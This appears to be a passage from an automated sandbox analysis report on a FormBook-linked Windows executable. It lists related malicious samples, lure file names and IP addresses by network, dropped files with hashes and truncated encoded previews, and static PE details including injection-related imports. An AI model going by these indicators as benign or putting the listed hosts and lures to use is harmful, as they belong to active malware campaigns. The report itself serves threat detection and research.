www.b5x7vk.agency	DOC092024-0431202229487.exe	Get hash	malicious	FormBook	Browse	104.21.11.31

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
SINGLEHOP-LLCUS	http://www.rb.gy/yfdl7y/	Get hash	malicious	Unknown	Browse	198.143.164.252
	http://www.rb.gy/h66x7g/	Get hash	malicious	Unknown	Browse	198.143.164.252
	http://www.rb.gy/6ucw3c/	Get hash	malicious	Unknown	Browse	198.143.164.252
	https://dev-612101459966.pantheonsite.io/	Get hash	malicious	Unknown	Browse	198.143.164.252
	https://alliancecompositesinc.com/	Get hash	malicious	Unknown	Browse	96.127.182.206
	Warning_Report_[Limit_Notice].PDF HES0O.html	Get hash	malicious	HTMLPhisher	Browse	108.178.43.142
	Domain_Validation_Protocol_EX-205WQMN.html	Get hash	malicious	HTMLPhisher	Browse	108.178.43.142
	https://bdh.vcj.mybluehost.me/website_8e3e3126/wp-admin/ANTIA/infospage.php/	Get hash	malicious	Unknown	Browse	198.143.164.252
	https://www.cossuel.sn/css/	Get hash	malicious	Unknown	Browse	109.199.108.176
	http://scarce-army-wide.on-fleek.app/	Get hash	malicious	HTMLPhisher	Browse	108.178.38.98
GANDI-ASDomainnameregistrar-httpwwwgandinetFR	CYTAT.exe	Get hash	malicious	FormBook	Browse	217.70.184.50
	Cotizaci#U00f3n.exe	Get hash	malicious	FormBook	Browse	217.70.184.50
	ES-241-29335_pdf.exe	Get hash	malicious	FormBook	Browse	217.70.184.50
	RECIEPT.PDF.exe	Get hash	malicious	FormBook	Browse	217.70.184.50
	PO# Q919240.exe	Get hash	malicious	FormBook	Browse	217.70.184.50
	PO098765678.exe	Get hash	malicious	FormBook	Browse	217.70.184.50
	PAGO $830.900.exe	Get hash	malicious	FormBook	Browse	217.70.184.50
	FATURALAR PDF.exe	Get hash	malicious	FormBook	Browse	217.70.184.50
	z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe	Get hash	malicious	FormBook	Browse	217.70.184.50
	Order#Qxz091124.exe	Get hash	malicious	FormBook	Browse	217.70.184.50
DNC-ASDimensionNetworkCommunicationLimitedHK	inquiry and prices EO-230807.exe	Get hash	malicious	FormBook	Browse	147.92.40.175
	HBLAWBP.LISTCOC & INV.exe	Get hash	malicious	FormBook	Browse	147.92.40.174
	NEW ORDERS scan_29012019.exe	Get hash	malicious	FormBook	Browse	147.92.40.175
	DOC092024-0431202229487.exe	Get hash	malicious	FormBook	Browse	147.92.40.175
	Udspecialiser45.exe	Get hash	malicious	FormBook, GuLoader	Browse	147.92.36.247
	http://oveman-austral.com/	Get hash	malicious	Unknown	Browse	147.92.44.231
	PURCHASING ORDER.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	147.92.35.81
	a82WdwCQnQOQf4b.exe	Get hash	malicious	FormBook	Browse	147.92.35.81
	PTT Group project - Quotation.exe	Get hash	malicious	FormBook	Browse	147.92.36.231
	RFQ - MK FMHS.RFQ.24.101.exe	Get hash	malicious	FormBook	Browse	207.148.37.252
VIMRO-AS15189US	Enquiry.exe	Get hash	malicious	FormBook	Browse	67.223.117.189
	AWB_5771388044 Documenti di spedizione.exe	Get hash	malicious	FormBook	Browse	67.223.117.189
	ncOLm62YLB.exe	Get hash	malicious	FormBook	Browse	67.223.117.189
	DOC092024-0431202229487.exe	Get hash	malicious	FormBook	Browse	67.223.117.189
	SecuriteInfo.com.Win32.CrypterX-gen.29913.30159.exe	Get hash	malicious	FormBook	Browse	67.223.118.13
	LisectAVT_2403002B_466.exe	Get hash	malicious	FormBook	Browse	67.223.117.189
	H37012.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	67.223.118.13
	file.exe	Get hash	malicious	LummaC, Clipboard Hijacker, LummaC Stealer	Browse	67.223.119.7
	file.exe	Get hash	malicious	LummaC, Clipboard Hijacker, LummaC Stealer	Browse	67.223.119.7
	Shipping Documents 7896424100.exe	Get hash	malicious	FormBook	Browse	67.223.117.189
REGISTER-ASIT	rAGROTIS10599242024.exe	Get hash	malicious	FormBook	Browse	195.110.124.133
	BL Draft-Invoice-Packing list-Shipping Document.pif.exe	Get hash	malicious	FormBook	Browse	195.110.124.133
	oO3ZmCAeLQ.exe	Get hash	malicious	FormBook	Browse	195.110.124.133
	Purchase Order_ AEPL-2324-1126.exe	Get hash	malicious	FormBook	Browse	195.110.124.133
	AWB_5771388044 Documenti di spedizione.exe	Get hash	malicious	FormBook	Browse	81.88.63.46
	file.exe	Get hash	malicious	FormBook	Browse	195.110.124.133
	file.exe	Get hash	malicious	FormBook	Browse	195.110.124.133
	Quote 05-302.lnk	Get hash	malicious	FormBook	Browse	195.110.124.133
	ncOLm62YLB.exe	Get hash	malicious	FormBook	Browse	81.88.63.46
	DOC092024-0431202229487.exe	Get hash	malicious	FormBook	Browse	81.88.63.46

Process:	C:\Windows\SysWOW64\mstsc.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\autAE1.tmp

Download File

Process:	C:\Users\user\Desktop\rP0n___87004354.exe
File Type:	data
Category:	dropped
Size (bytes):	50396
Entropy (8bit):	7.804819895302675
Encrypted:	false
SSDEEP:	1536:leeL3J851fdxDGpyPkJnseZD+fVZew9goGA:lp7J0FxqpySnLZD+fV8wz
MD5:	44811D0277D7A1B9311A9296C06CC07E
SHA1:	89A5DD1171F259CB9DCD223C2311876DCB3E3B63
SHA-256:	6095E6F8DCE72A56283A876495F9D3874C2CBB49EBCAE5BE16E26905A8AC6F46
SHA-512:	4E393F547CE586CB5656C2744B6E075D9D3F535C0B0318F03CD74E127633E0EE5A89365F58BCB679BF2A94B49A47379A995BB6EF69DAF57E6C20CE9C6E1738C8
Malicious:	false
Reputation:	low
Preview:	EA06.....L..y.:k'.R,T.-:.D.W&3K-..5..lu...eR.[....aI......oQ.S...Z.r.U@.....0..&.j..8..m.I.._8.M&...O6..f3.\|.0..)....6..s....4..&3...b.Xm.{D..0..,s...Qy.^f...q<...i..q<.QlU...m#...)..a,.].....m?.K....:i]..'...:.(.....a'.Q&...p.....k..G9...K...c......c..-....a%.R.....m_.Rg6...kt.W...&qc...uY..aj.T..y..ac.Q..I.^sk.L.)..a:.P.6I..eu../3...v.XP...zqa..&..$.sD.^lV...e<..f...".0..H.I...8.Nm.Z..9..'v+...6..).....x.L.....U6.N&S.d.E5.Ni.i...9.M..9D...I&.I.....z.Q...Wd..i...ca.M..:..P. K.7...6......U5..ds.E..3....;d..6......4..mS.E..b.Ne3ie....\f.....PZf...~sV.Z,...:is.Y..5..`.Il.+.J.H...P..0..-...,.`..l...nk;.P..4..K.J,.5..g.Q'.Y..iY...@D.....Sk,..9.N-.[..Q8...j...,.L....s,.[,t..x........U.......d......a?.Sl.{5F.;.\.4....:.\.. ..Y.Q..y..q7..5..ir..l.5j.R.Q.1...q1.N,.`.B_0..* O.Fml.Jg.y..qi...k,..z.0%Vi..sf.X..0..iy.O.....!v.X....q)..)6I\|..0...i...%.Ql...2.M.].t...au.T/.Z.Nmc.S....._5.Mh.*e..f.Y...E..k.P'....#..%...h...M..jd..9.N+sY..}4.Y..k..f..

C:\Users\user\AppData\Local\Temp\benting

Download File

Process:	C:\Users\user\Desktop\rP0n___87004354.exe
File Type:	ASCII text, with very long lines (57348), with no line terminators
Category:	dropped
Size (bytes):	57348
Entropy (8bit):	5.74838018161682
Encrypted:	false
SSDEEP:	1536:cbiNaZSk7xpmjwBpVqBs0nsiwJByZV0icwz7+1evKfxJJ:cGw0kdkjwzVqBs0svGV0DwX+1G+J
MD5:	07A96647D5F0058550E2B504FF4B0822
SHA1:	C5BDEA69672EDDB989CCCCE1A219E5E2524CC345
SHA-256:	5E2A389EDD0E515B05DD21FE60A0C56BF558276581485602EA2DDDE15FCC7D2D
SHA-512:	F304225BAFD7A334B1D71DAB0C0ED1122D604FFF77B62B88DFC259C926908524C9B72F0CBBA6A1363832BF78B306685D47705AAE4F4C659AD733FC610CA58D10
Malicious:	false
Reputation:	low
Preview:	03x'5N5'8HbLeNcD8\14efc5c%c_0D2R0n0L0:0I5s695!7QbO8n6Vbr0U0:0C0?0/056R6I8E9h4<5/8640bV9'6'510O0V090M0a0L6a6+8b9i4?d1836Mbban7h2b030c0_0O0y0y686F8<9r5v5D8<8EbP8G6#eZ0B0s0,0v0o076?6/8M9N4]5d8YaNb(9b6y5b0'0D010\0,0W6P6p8#9a4Td`8icqbmaQ6^co0l0y0G0%0K0?6x6_8I9k5-5t8_ePbI8c3{3U0.0j0S0W0>0c6F6d8W9k435"9K0:bC9d3B2u0W0y0r0;0.0C6L6^8a984\|d59D2ybkav2<e]0)0>0N060,0d6b6y8t9o5]5Y9_4;b{8s6O4O0N0A0L0r0w0v664829L4"5n9L66bY9D6$c(0[060$040!0y6n6V8b9@4+dk9H8;b1a86ucV0(0y0/0l090]6{6(8095'5#9ha\3}3hcl0u6A65899I4/5j9(cebb9)6,eo0C0q0J0D0N0d6i6`8_9V8hd[4N4sfff;frf`f%fRbRaH7'4U0M0\050h0M0K6b6t8t9Z9[5;4C68f4fKf(fJf}fgbD856<4Y040r0j000N036"6e8d928m5z4(8_fmf_f_f,f2fKb39,6lcN0f0K0y0p0{0K6U6V8T9w8qds4Va>frf?fMfwfQf;bsaJ6`c:0a0V0d0p0Y0G6W6w879&9\5!4rc]f)fZfRfGfrf`b98128e60.0/0I0Q030Q6l6)8w9r8i5K46e6fzfZff>f9f@b@9D6c4y0<010V010v0b6=68)928Id/5{0/f=f!f,f%fEfQbLaM6vcI0=0u0C0\|0_0S6c6N8)9c9/5T5E2Lf~f6fofMfDfkb@8]6mc#0N0/0v0Z0c0D6^6L8c9<8[535>4hf&fxfgfUf*f>3=3ncw9~6D6I8k9Z80dK5-6@f]f.f8f<fPfGb!aa7`5}0`0-0m0:0T0e6<6(8W9~

C:\Users\user\AppData\Local\Temp\retrofits

Download File

Process:	C:\Users\user\Desktop\rP0n___87004354.exe
File Type:	data
Category:	dropped
Size (bytes):	287744
Entropy (8bit):	7.995578582570183
Encrypted:	true
SSDEEP:	6144:1b4+fO6sBgth4vHZmCCIOYr2iCX9giju7i6V1sHEvNjj0:eJ6h4v8aAWij2F5FU
MD5:	98B616737713434C6AF83B84116DF158
SHA1:	14E81A3B1381DB949531B4D5A0F2BEF7A58DB3DF
SHA-256:	0C1D7D8216968DCF34CE33C6342506EDF3B769361C9C22629198E3D2521E6D2E
SHA-512:	09E3C77B9DCB3CCDC909EC81C9D5137DE98CA2B57A2932CAF7E6E2F7C2004282E6370A587204FBF914CA98A9D75797059468FB6D578562FA420C9267935DBB3C
Malicious:	false
Preview:	{..e.9MF3...N.....OY...~I>...69MF3H2OGUMV83WOZI28VJ6RR769MF.H2OIJ.X8.^.{.3t.kb:;D.I?)T:S"g6,8V\#o8,.J#$.;<.rv.f^'V*iX@\.3WOZI28/K?.oWQ.p&T../ .W..m/=.(....25.,...(U..<.>.S0.ZI28VJ6R.r69.G2H..MV83WOZI.8TK=SY76kIF3H2OGUMVx WOZY28V:2RR7v9MV3H2MGUKV83WOZI48VJ6RR76IIF3J2OGUMV:3..ZI"8VZ6RR7&9MV3H2OGU]V83WOZI28VJ6RR769MF3H2OGUMV83WOZI28VJ6RR769MF3H2OGUMV83WOZI28VJ6RR769MF3H2OGUMV83WOZI28VJ6RR769MF3H2OGUMV83WOZI28VJ6RR769MF3H2OGUMV.G27.I28..2RR'69M.7H2_GUMV83WOZI28VJ.RRW69MF3H2OGUMV83WOZI28VJ6RR769MF3H2OGUMV83WOZI28VJ6RR769MF3H2OGUMV83WOZI28VJ6RR769MF3H2OGUMV83WOZI28VJ6RR769MF3H2OGUMV83WOZI28VJ6RR769MF3H2OGUMV83WOZI28VJ6RR769MF3H2OGUMV83WOZI28VJ6RR769MF3H2OGUMV83WOZI28VJ6RR769MF3H2OGUMV83WOZI28VJ6RR769MF3H2OGUMV83WOZI28VJ6RR769MF3H2OGUMV83WOZI28VJ6RR769MF3H2OGUMV83WOZI28VJ6RR769MF3H2OGUMV83WOZI28VJ6RR769MF3H2OGUMV83WOZI28VJ6RR769MF3H2OGUMV83WOZI28VJ6RR769MF3H2OGUMV83WOZI28VJ6RR769MF3H2OGUMV83WOZI28VJ6RR769MF3H2OGUMV83WOZI28VJ6RR769MF3H2OGUMV83WOZI28VJ6RR769MF3H2OGUMV83WOZI28VJ6RR769MF3H2O

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.495256734524691
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	rP0n___87004354.exe
File size:	1'638'912 bytes
MD5:	c20955bf63ac83dcd469613d4b10504a
SHA1:	04613896a3d157769897706154223322988d17c1
SHA256:	b90c861586483b929fd0e015213742bad507395c206a9b4c338e28c075839854
SHA512:	3ad4be5c4af8cc26509a3141ff43271d0081cf7803d1fd1efc081b9b97daccdb7e9a38cac75cce5367244ca70c65c4f9fc1506539e3ace686b9163be544e0750
SSDEEP:	49152:qw80cTsjkWapjp5qDaZ0xAm1cEfCX24Bd4R5:P8sjk1POxAmjzCC
TLSH:	D875E02263DDC360CB669173BF6AB7017FBB38210A30B95B2F881D7DA950161166D7A3
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........s..R...R...R....C..P.....;.S..._@#.a..._@......_@..g...[j..[...[jo.w...R...r.............#.S..._@'.S...R.k.S.....".S...RichR..

File Icon


Icon Hash:	aaf3e3e3938382a0

Static PE Info

General

Entrypoint:	0x427f4a
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66EAB1DF [Wed Sep 18 10:56:31 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	afcdf79be1557326c854b6e20cb900a7

Entrypoint Preview

Instruction
call 00007FB2AC6F3CADh
jmp 00007FB2AC6E6A74h
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
push edi
push esi
mov esi, dword ptr [esp+10h]
mov ecx, dword ptr [esp+14h]
mov edi, dword ptr [esp+0Ch]
mov eax, ecx
mov edx, ecx
add eax, esi
cmp edi, esi
jbe 00007FB2AC6E6BFAh
cmp edi, eax
jc 00007FB2AC6E6F5Eh
bt dword ptr [004C31FCh], 01h
jnc 00007FB2AC6E6BF9h
rep movsb
jmp 00007FB2AC6E6F0Ch
cmp ecx, 00000080h
jc 00007FB2AC6E6DC4h
mov eax, edi
xor eax, esi
test eax, 0000000Fh
jne 00007FB2AC6E6C00h
bt dword ptr [004BE324h], 01h
jc 00007FB2AC6E70D0h
bt dword ptr [004C31FCh], 00000000h
jnc 00007FB2AC6E6D9Dh
test edi, 00000003h
jne 00007FB2AC6E6DAEh
test esi, 00000003h
jne 00007FB2AC6E6D8Dh
bt edi, 02h
jnc 00007FB2AC6E6BFFh
mov eax, dword ptr [esi]
sub ecx, 04h
lea esi, dword ptr [esi+04h]
mov dword ptr [edi], eax
lea edi, dword ptr [edi+04h]
bt edi, 03h
jnc 00007FB2AC6E6C03h
movq xmm1, qword ptr [esi]
sub ecx, 08h
lea esi, dword ptr [esi+08h]
movq qword ptr [edi], xmm1
lea edi, dword ptr [edi+08h]
test esi, 00000007h
je 00007FB2AC6E6C55h
bt esi, 03h

Rich Headers

Programming Language:

[ASM] VS2013 build 21005
[ C ] VS2013 build 21005
[C++] VS2013 build 21005
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[ASM] VS2013 UPD5 build 40629
[RES] VS2013 build 21005
[LNK] VS2013 UPD5 build 40629

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xba44c	0x17c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xc7000	0xc79e8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x18f000	0x7130	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x92bc0	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0xa4870	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x8f000	0x884	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x8dd2e	0x8de00	c2c2260508750422d20cd5cbb116b146	False	0.5729952505506608	data	6.675875439961112	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x8f000	0x2e10e	0x2e200	4513b58651e3d8d87c81a396e5b2f1d1	False	0.3353340955284553	OpenPGP Public Key	5.760731648769018	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xbe000	0x8f74	0x5200	c2de4a3d214eae7e87c7bfc06bd79775	False	0.1017530487804878	data	1.1988106744719143	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0xc7000	0xc79e8	0xc7a00	f4e099ee3cf4a58e8dd01871bc82d010	False	0.967372906230432	data	7.968405964004619	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x18f000	0x7130	0x7200	1254908a9a03d2bcf12045d49cd572b9	False	0.7703536184210527	data	6.782377328042204	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0xc75a8	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	English	Great Britain	0.7466216216216216
RT_ICON	0xc76d0	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128, 16 important colors	English	Great Britain	0.3277027027027027
RT_ICON	0xc77f8	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	English	Great Britain	0.3885135135135135
RT_ICON	0xc7920	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 0	English	Great Britain	0.3333333333333333
RT_ICON	0xc7c08	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 0	English	Great Britain	0.5
RT_ICON	0xc7d30	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	English	Great Britain	0.2835820895522388
RT_ICON	0xc8bd8	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	English	Great Britain	0.37906137184115524
RT_ICON	0xc9480	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	English	Great Britain	0.23699421965317918
RT_ICON	0xc99e8	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	English	Great Britain	0.13858921161825727
RT_ICON	0xcbf90	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	English	Great Britain	0.25070356472795496
RT_ICON	0xcd038	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	English	Great Britain	0.3173758865248227
RT_MENU	0xcd4a0	0x50	data	English	Great Britain	0.9
RT_STRING	0xcd4f0	0x594	data	English	Great Britain	0.3333333333333333
RT_STRING	0xcda84	0x68a	data	English	Great Britain	0.2747909199522103
RT_STRING	0xce110	0x490	data	English	Great Britain	0.3715753424657534
RT_STRING	0xce5a0	0x5fc	data	English	Great Britain	0.3087467362924282
RT_STRING	0xceb9c	0x65c	data	English	Great Britain	0.34336609336609336
RT_STRING	0xcf1f8	0x466	data	English	Great Britain	0.3605683836589698
RT_STRING	0xcf660	0x158	Matlab v4 mat-file (little endian) n, numeric, rows 0, columns 0	English	Great Britain	0.502906976744186
RT_RCDATA	0xcf7b8	0xbecad	data			1.000314785312578
RT_GROUP_ICON	0x18e468	0x76	data	English	Great Britain	0.6610169491525424
RT_GROUP_ICON	0x18e4e0	0x14	data	English	Great Britain	1.25
RT_GROUP_ICON	0x18e4f4	0x14	data	English	Great Britain	1.15
RT_GROUP_ICON	0x18e508	0x14	data	English	Great Britain	1.25
RT_VERSION	0x18e51c	0xdc	data	English	Great Britain	0.6181818181818182
RT_MANIFEST	0x18e5f8	0x3ef	ASCII text, with CRLF line terminators	English	Great Britain	0.5074478649453823

Imports

DLL	Import
WSOCK32.dll	WSACleanup, socket, inet_ntoa, setsockopt, ntohs, recvfrom, ioctlsocket, htons, WSAStartup, __WSAFDIsSet, select, accept, listen, bind, closesocket, WSAGetLastError, recv, sendto, send, inet_addr, gethostbyname, gethostname, connect
VERSION.dll	GetFileVersionInfoW, GetFileVersionInfoSizeW, VerQueryValueW
WINMM.dll	timeGetTime, waveOutSetVolume, mciSendStringW
COMCTL32.dll	ImageList_ReplaceIcon, ImageList_Destroy, ImageList_Remove, ImageList_SetDragCursorImage, ImageList_BeginDrag, ImageList_DragEnter, ImageList_DragLeave, ImageList_EndDrag, ImageList_DragMove, InitCommonControlsEx, ImageList_Create
MPR.dll	WNetUseConnectionW, WNetCancelConnection2W, WNetGetConnectionW, WNetAddConnection2W
WININET.dll	InternetQueryDataAvailable, InternetCloseHandle, InternetOpenW, InternetSetOptionW, InternetCrackUrlW, HttpQueryInfoW, InternetQueryOptionW, HttpOpenRequestW, HttpSendRequestW, FtpOpenFileW, FtpGetFileSize, InternetOpenUrlW, InternetReadFile, InternetConnectW
PSAPI.DLL	GetProcessMemoryInfo
IPHLPAPI.DLL	IcmpCreateFile, IcmpCloseHandle, IcmpSendEcho
USERENV.dll	DestroyEnvironmentBlock, UnloadUserProfile, CreateEnvironmentBlock, LoadUserProfileW
UxTheme.dll	IsThemeActive
KERNEL32.dll	DuplicateHandle, CreateThread, WaitForSingleObject, HeapAlloc, GetProcessHeap, HeapFree, Sleep, GetCurrentThreadId, MultiByteToWideChar, MulDiv, GetVersionExW, IsWow64Process, GetSystemInfo, FreeLibrary, LoadLibraryA, GetProcAddress, SetErrorMode, GetModuleFileNameW, WideCharToMultiByte, lstrcpyW, lstrlenW, GetModuleHandleW, QueryPerformanceCounter, VirtualFreeEx, OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateFileW, SetFilePointerEx, SetEndOfFile, ReadFile, WriteFile, FlushFileBuffers, TerminateProcess, CreateToolhelp32Snapshot, Process32FirstW, Process32NextW, SetFileTime, GetFileAttributesW, FindFirstFileW, SetCurrentDirectoryW, GetLongPathNameW, GetShortPathNameW, DeleteFileW, FindNextFileW, CopyFileExW, MoveFileW, CreateDirectoryW, RemoveDirectoryW, SetSystemPowerState, QueryPerformanceFrequency, FindResourceW, LoadResource, LockResource, SizeofResource, EnumResourceNamesW, OutputDebugStringW, GetTempPathW, GetTempFileNameW, DeviceIoControl, GetLocalTime, CompareStringW, GetCurrentProcess, EnterCriticalSection, LeaveCriticalSection, GetStdHandle, CreatePipe, InterlockedExchange, TerminateThread, LoadLibraryExW, FindResourceExW, CopyFileW, VirtualFree, FormatMessageW, GetExitCodeProcess, GetPrivateProfileStringW, WritePrivateProfileStringW, GetPrivateProfileSectionW, WritePrivateProfileSectionW, GetPrivateProfileSectionNamesW, FileTimeToLocalFileTime, FileTimeToSystemTime, SystemTimeToFileTime, LocalFileTimeToFileTime, GetDriveTypeW, GetDiskFreeSpaceExW, GetDiskFreeSpaceW, GetVolumeInformationW, SetVolumeLabelW, CreateHardLinkW, SetFileAttributesW, CreateEventW, SetEvent, GetEnvironmentVariableW, SetEnvironmentVariableW, GlobalLock, GlobalUnlock, GlobalAlloc, GetFileSize, GlobalFree, GlobalMemoryStatusEx, Beep, GetSystemDirectoryW, HeapReAlloc, HeapSize, GetComputerNameW, GetWindowsDirectoryW, GetCurrentProcessId, GetProcessIoCounters, CreateProcessW, GetProcessId, SetPriorityClass, LoadLibraryW, VirtualAlloc, IsDebuggerPresent, GetCurrentDirectoryW, lstrcmpiW, DecodePointer, GetLastError, RaiseException, InitializeCriticalSectionAndSpinCount, DeleteCriticalSection, InterlockedDecrement, InterlockedIncrement, GetCurrentThread, CloseHandle, GetFullPathNameW, EncodePointer, ExitProcess, GetModuleHandleExW, ExitThread, GetSystemTimeAsFileTime, ResumeThread, GetCommandLineW, IsProcessorFeaturePresent, IsValidCodePage, GetACP, GetOEMCP, GetCPInfo, SetLastError, UnhandledExceptionFilter, SetUnhandledExceptionFilter, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, GetStartupInfoW, GetStringTypeW, SetStdHandle, GetFileType, GetConsoleCP, GetConsoleMode, RtlUnwind, ReadConsoleW, GetTimeZoneInformation, GetDateFormatW, GetTimeFormatW, LCMapStringW, GetEnvironmentStringsW, FreeEnvironmentStringsW, WriteConsoleW, FindClose, SetEnvironmentVariableA
USER32.dll	AdjustWindowRectEx, CopyImage, SetWindowPos, GetCursorInfo, RegisterHotKey, ClientToScreen, GetKeyboardLayoutNameW, IsCharAlphaW, IsCharAlphaNumericW, IsCharLowerW, IsCharUpperW, GetMenuStringW, GetSubMenu, GetCaretPos, IsZoomed, MonitorFromPoint, GetMonitorInfoW, SetWindowLongW, SetLayeredWindowAttributes, FlashWindow, GetClassLongW, TranslateAcceleratorW, IsDialogMessageW, GetSysColor, InflateRect, DrawFocusRect, DrawTextW, FrameRect, DrawFrameControl, FillRect, PtInRect, DestroyAcceleratorTable, CreateAcceleratorTableW, SetCursor, GetWindowDC, GetSystemMetrics, GetActiveWindow, CharNextW, wsprintfW, RedrawWindow, DrawMenuBar, DestroyMenu, SetMenu, GetWindowTextLengthW, CreateMenu, IsDlgButtonChecked, DefDlgProcW, CallWindowProcW, ReleaseCapture, SetCapture, CreateIconFromResourceEx, mouse_event, ExitWindowsEx, SetActiveWindow, FindWindowExW, EnumThreadWindows, SetMenuDefaultItem, InsertMenuItemW, IsMenu, TrackPopupMenuEx, GetCursorPos, DeleteMenu, SetRect, GetMenuItemID, GetMenuItemCount, SetMenuItemInfoW, GetMenuItemInfoW, SetForegroundWindow, IsIconic, FindWindowW, MonitorFromRect, keybd_event, SendInput, GetAsyncKeyState, SetKeyboardState, GetKeyboardState, GetKeyState, VkKeyScanW, LoadStringW, DialogBoxParamW, MessageBeep, EndDialog, SendDlgItemMessageW, GetDlgItem, SetWindowTextW, CopyRect, ReleaseDC, GetDC, EndPaint, BeginPaint, GetClientRect, GetMenu, DestroyWindow, EnumWindows, GetDesktopWindow, IsWindow, IsWindowEnabled, IsWindowVisible, EnableWindow, InvalidateRect, GetWindowLongW, GetWindowThreadProcessId, AttachThreadInput, GetFocus, GetWindowTextW, ScreenToClient, SendMessageTimeoutW, EnumChildWindows, CharUpperBuffW, GetParent, GetDlgCtrlID, SendMessageW, MapVirtualKeyW, PostMessageW, GetWindowRect, SetUserObjectSecurity, CloseDesktop, CloseWindowStation, OpenDesktopW, SetProcessWindowStation, GetProcessWindowStation, OpenWindowStationW, GetUserObjectSecurity, MessageBoxW, DefWindowProcW, SetClipboardData, EmptyClipboard, CountClipboardFormats, CloseClipboard, GetClipboardData, IsClipboardFormatAvailable, OpenClipboard, BlockInput, GetMessageW, LockWindowUpdate, DispatchMessageW, TranslateMessage, PeekMessageW, UnregisterHotKey, CheckMenuRadioItem, CharLowerBuffW, MoveWindow, SetFocus, PostQuitMessage, KillTimer, CreatePopupMenu, RegisterWindowMessageW, SetTimer, ShowWindow, CreateWindowExW, RegisterClassExW, LoadIconW, LoadCursorW, GetSysColorBrush, GetForegroundWindow, MessageBoxA, DestroyIcon, SystemParametersInfoW, LoadImageW, GetClassNameW
